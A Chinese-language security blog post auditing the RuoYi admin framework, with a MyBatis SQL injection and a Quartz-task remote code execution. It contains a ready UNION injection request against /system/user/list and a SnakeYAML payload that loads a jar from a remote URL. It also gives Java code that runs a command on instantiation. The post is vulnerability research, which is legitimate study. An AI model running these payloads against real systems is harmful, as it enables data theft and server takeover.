若依系统代码审计

Ruoyi系统代码审计

Mybatis sql注入 <=4.6.1

  1. 漏洞成因:在mybatis中,#进行预编译,$是直接拼接,会导致sql注入出现

寻找漏洞点

  1. application.yaml配置了mybatis的sql配置在各模块的mapper下

    image-20230228141512587
  2. 直接遍历所有模块的mapper,查看特征是否有$

    -

    image-20230228141641823 image-20230228141656121
    • src/main/resources/mapper/system/SysRoleMapper.xml
    image-20230228141733021
    • src/main/resources/mapper/system/SysUserMapper.xml

      image-20230228141932168 image-20230228142020220

      image-20230228142040517image-20230228142020220

      image-20230228142040517

注入

  1. select型注入,直接拿了个src/main/resources/mapper/system/SysUserMapper.xml的selectUserList进行注入

    image-20230228144336457

    查找调用链,最终找到地址/system/user/list,并且对传入的params数组并没有做任何的过滤,查询有回显,可以直接使用union注入就好了:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    //反找mapper->impl->service->controller
    com.ruoyi.system.mapper.SysUserMapper#selectUserList-->; //mapper
    com.ruoyi.system.service.ISysUserService#selectUserList-->; //service
    com.ruoyi.web.controller.system.SysUserController#list-->; //找到目标controller
    public TableDataInfo list(SysUser user)
    {
    startPage();
    List<SysUser> list = userService.selectUserList(user);
    return getDataTable(list);
    }

payload编写

  • poc:

    1
    pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&deptId=&parentId=&loginName=-1&phonenumber=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&params%5BdataScope%5D=union select (select database()),2,3,4,5,6,7,8,9,10,11,12,13,14,"2023-02-28 14:36:50",16,"2023-02-28 14:36:50",18,19,20

    注入的点是params.dataScope,对应的15,17号位置是Date类型,且格式是@Excel(name = "最后登录时间", width = 30, dateFormat = "yyyy-MM-dd HH:mm:ss", type = Type.EXPORT)

    image-20230228145401904
  • 结果:有前端类型验证,但还是爆出来了,或者用其他的字段

    image-20230228145814855 image-20230228145931411

后台RCE <4.6.2

定时任务调度流程

漏洞分析

  • payload:

    • org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:8989/yaml-payload.jar"]]]]')

    • public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
          public AwesomeScriptEngineFactory() {
              try {
                  Runtime.getRuntime().exec("calc");
      //            Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
              } catch (IOException e) {
                  e.printStackTrace();
              }
          }
          ...
      }
      
      //创建classpath:META-INF/services/javax.script.ScriptEngineFactory
      //写入:artsploit.AwesomeScriptEngineFactory
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31

      1. 漏洞点,首先按照上面开发流程分析的过程,找到定时任务流程的起点`Job.execute()`方法,一直调用到invokeMethod,或者也能通过写入错误的类爆出异常,调用栈的信息看到关键函数。

      <img src="./若依系统代码审计/image-20230228203222784.png" alt="image-20230228203222784" />

      2. 调用链:

      ```java
      //rce漏洞成因分析,如果是bean容器中的名字就直接获取bean,反射调用方法;否则实例化全类名对应的对象,反射调用方法
      com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod(com.ruoyi.quartz.domain.SysJob)-->;
      if (!isValidClassName(beanName))
      //判断是否是bean容器中的
      {
      Object bean = SpringUtils.getBean(beanName);
      invokeMethod(bean, methodName, methodParams);
      }
      else //如果不是,是全类名的话,利用Class反射加载类,有两个条件:1)类有无参构造器、2)public
      {
      Object bean = Class.forName(beanName).newInstance();
      invokeMethod(bean, methodName, methodParams);
      }

      //snakeyaml漏洞成因分析,通过反射生成构造器,通过递归的方式生成成员属性,最后进行实例化return c.newInstance(argumentListx);
      org.yaml.snakeyaml.Yaml#load(java.lang.String)-->;
      org.yaml.snakeyaml.Yaml#loadFromReader-->;
      org.yaml.snakeyaml.constructor.BaseConstructor#getSingleData-->;
      org.yaml.snakeyaml.constructor.BaseConstructor#constructDocument-->;
      org.yaml.snakeyaml.constructor.BaseConstructor#constructObject-->;
      org.yaml.snakeyaml.constructor.BaseConstructor#constructObjectNoCheck-->;
      org.yaml.snakeyaml.constructor.Construct#construct-->;
      org.yaml.snakeyaml.constructor.Construct#construct-->;
    image-20230301100133494
  1. 反序列化完之后,没有出现预期的效果,说明是在javax.script.ScriptEngineManagernewInstance进行构造的过程中触发的RCE。

    1. SPI机制

      全称为 Service Provider Interface,是一种服务发现机制。它通过在ClassPath路径下的META-INF/services文件夹查找文件,自动加载文件里所定义的类

      image-20230301103921522
    2. 服务查找,匹配,并实例化

      image-20230301104219344 image-20230301104643998
      1. snakeyaml和ScriptEngineManager的漏洞链

        image-20230301105053508

总结

1
2
3
4
5
1. ruoyi框架Quartz层面调用的invokeMethod调用目标字符串通过反射进行实例化
2. snakeyaml反射生成实例结合ScriptEngineManager,这里主要是因为可控的因素有:
1>snakeyaml的load方法参数,并且没有判断是否有使用rmi、http、ldap之类的字样,
2>ScriptEngineManager的服务加载类名,
3>目标服务出网获取需要加载的恶意类
Author: Aizlm
Link: https://aizlm.github.io/2023/02/28/若依系统代码审计/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.